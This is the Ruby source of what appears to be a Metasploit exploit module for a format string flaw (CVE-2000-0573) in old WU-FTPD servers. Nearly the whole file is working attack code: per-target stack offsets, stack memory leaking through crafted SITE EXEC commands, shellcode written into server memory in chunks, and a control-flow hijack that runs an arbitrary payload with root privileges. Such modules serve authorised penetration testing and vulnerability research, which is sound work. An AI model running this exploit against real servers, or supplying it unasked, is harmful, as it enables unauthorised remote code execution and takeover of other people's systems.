modules/exploits/multi/ftp/wuftpd_site_exec_format.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::FormatString
def initialize(info = {})
super(update_info(info,
'Name' => 'WU-FTPD SITE EXEC/INDEX Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in versions of the
Washington University FTP server older than 2.6.1. By executing
specially crafted SITE EXEC or SITE INDEX commands containing format
specifiers, an attacker can corrupt memory and execute arbitrary code.
},
'Author' => [ 'jduck' ],
'References' =>
[
['CVE', '2000-0573'],
['OSVDB', '11805'],
['BID', '1387']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependChrootBreak' => true
},
'Privileged' => true,
'Payload' =>
{
# format string max length
'Space' => 256,
# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f",
'DisableNops' => 'True',
'StackAdjustment' => -1500
},
'Platform' => [ 'linux' ],
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
#
# specific targets
#
[ 'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)',
{
'UseDPA' => false,
'PadBytes' => 3,
'NumPops' => 8,
'AddrPops' => 100,
'Offset' => -2088, # offset to stack return
'Writable' => 0xbfffde26, # stack, avoid badchars
'FlowHook' => -1, # auto now... 0xbffff1e4 # stack return addr
}
],
# these aren't exploitable (using built-in, stripped down vsprintf, no %n)
#[ 'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)',
#[ 'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)',
#[ 'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)',
[ 'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)',
{
'UseDPA' => true,
'PadBytes' => 2,
'NumPops' => 276,
'AddrPops' => 2,
'Offset' => -17664, # offset to stack return
'Writable' => 0x806e726, # bss
#'Writable' => 0xbfff0126, # stack, avoid badchars
'FlowHook' => -1, # auto now... 0xbfffb028 # stack return addr
#'FlowHook' => 0x806e1e0 # GOT of sprintf
}
],
#
# this one will detect the parameters automagicly
#
[ 'Debug',
{
'UseDPA' => false,
'PadBytes' => 0,
'NumPops' => 0,
'AddrPops' => -1,
'Offset' => -1,
'Writable' => 0x41414242, #
'FlowHook' => 0x43434545 #
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 22 2000'))
register_options(
[
Opt::RPORT(21),
])
end
def check
# NOTE: We don't care if the login failed here...
ret = connect_login
# We just want the banner to check against our targets..
vprint_status("FTP Banner: #{banner.strip}")
status = Exploit::CheckCode::Safe
if banner =~ /Version wu-2\.(4|5)/
status = Exploit::CheckCode::Appears
elsif banner =~ /Version wu-2\.6\.0/
status = Exploit::CheckCode::Appears
end
# If we've made it this far, we care if login succeeded.
if (ret)
# NOTE: vulnerable and exploitable might not mean the same thing here :)
if not fmtstr_detect_vulnerable
status = Exploit::CheckCode::Safe
end
if not fmtstr_detect_exploitable
status = Exploit::CheckCode::Safe
end
end
disconnect
return status
end
def exploit
if (not connect_login)
fail_with(Failure::Unknown, 'Unable to authenticate')
end
# Use a copy of the target
mytarget = target
if (target['auto'])
mytarget = nil
print_status("Automatically detecting the target...")
if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
fail_with(Failure::NoTarget, "No matching target")
end
regexp = Regexp.escape(version)
self.targets.each do |t|
if (t.name =~ /#{regexp}/) then
mytarget = t
break
end
end
if (not mytarget)
fail_with(Failure::NoTarget, "No matching target")
end
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
if banner
print_status("FTP Banner: #{banner.strip}")
end
end
# proceed with chosen target...
# detect stuff!
if mytarget.name == "Debug"
#fmtstr_set_caps(true, true)
# dump the stack, so we can detect stuff magically
print_status("Dumping the stack...")
stack = Array.new
extra = "aaaabbbb"
1000.times do |x|
dw = fmtstr_stack_read(x+1, extra)
break if not dw
stack << dw
end
stack_data = stack.pack('V*')
print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data))
# detect the number of pad bytes
idx = stack_data.index("aaaabbbb")
if not idx
fail_with(Failure::Unknown, "Whoa, didn't find the static bytes on the stack!")
end
num_pad = 0
num_pad = 4 - (idx % 4) if (idx % 4) > 0
mytarget.opts['PadBytes'] = num_pad
# calculate the number of pops needed to hit our addr
num_pops = (idx + num_pad) / 4
mytarget.opts['NumPops'] = num_pops
else
num_pad = mytarget['PadBytes']
num_pops = mytarget['NumPops']
sc_loc = mytarget['Writable']
ret = mytarget['FlowHook']
end
print_status("Number of pad bytes: #{num_pad}")
print_status("Number of pops: #{num_pops}")
# debugging -> don't try it!
return if mytarget.name == "Debug"
#print_status("ATTACH!")
#select(nil,nil,nil,5)
fmtstr_detect_caps
# compute the stack return address using the fmt to leak memory
addr_pops = mytarget['AddrPops']
offset = mytarget['Offset']
if addr_pops > 0
stackaddr = fmtstr_stack_read(addr_pops)
print_status("Read %#x from offset %d" % [stackaddr, addr_pops])
ret = stackaddr + offset
end
print_status("Writing shellcode to: %#x" % sc_loc)
print_status("Hijacking control via %#x" % ret)
# no extra bytes before the padding..
num_start = 0
# write shellcode to 'writable'
arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget)
# process it in groups of 24 (max ~400 bytes per command)
sc_num = 1
while arr.length > 0
print_status("Sending part #{sc_num} of the payload...")
sc_num += 1
narr = arr.slice!(0..24)
fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget)
# a space allows the next part to start with a '/'
fmtbuf[num_pad-1,1] = " "
fmtbuf.gsub!(/\xff/, "\xff\xff")
if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true)))
if res[0,4] == "500 "
fail_with(Failure::Unknown, "Something went wrong when uploading the payload...")
end
end
end
# write 'writable' addr to flowhook (execute shellcode)
# NOTE: the resulting two writes must be done at the same time
print_status("Attempting to write %#x to %#x.." % [sc_loc, ret])
fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget)
# a space allows the next part to start with a '/'
fmtbuf[num_pad-1,1] = " "
fmtbuf.gsub!(/\xff/, "\xff\xff")
# don't wait for the response here :)
res = send_cmd(['SITE', 'EXEC', fmtbuf], false)
print_status("Your payload should have executed now...")
handler
end
#
# these two functions are used to read stack memory
# (used by fmtstr_stack_read()
#
def trigger_fmt(fmtstr)
return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2))
send_cmd(['SITE', 'EXEC', 'x', fmtstr], true)
end
def extract_fmt_output(res)
if (res =~ /^5.. /)
#throw "Crap! Something went wrong while dumping the stack..."
return nil
end
ret = res.strip.split(/\r?\n/)[0]
ret = ret[6,ret.length]
return ret
end
end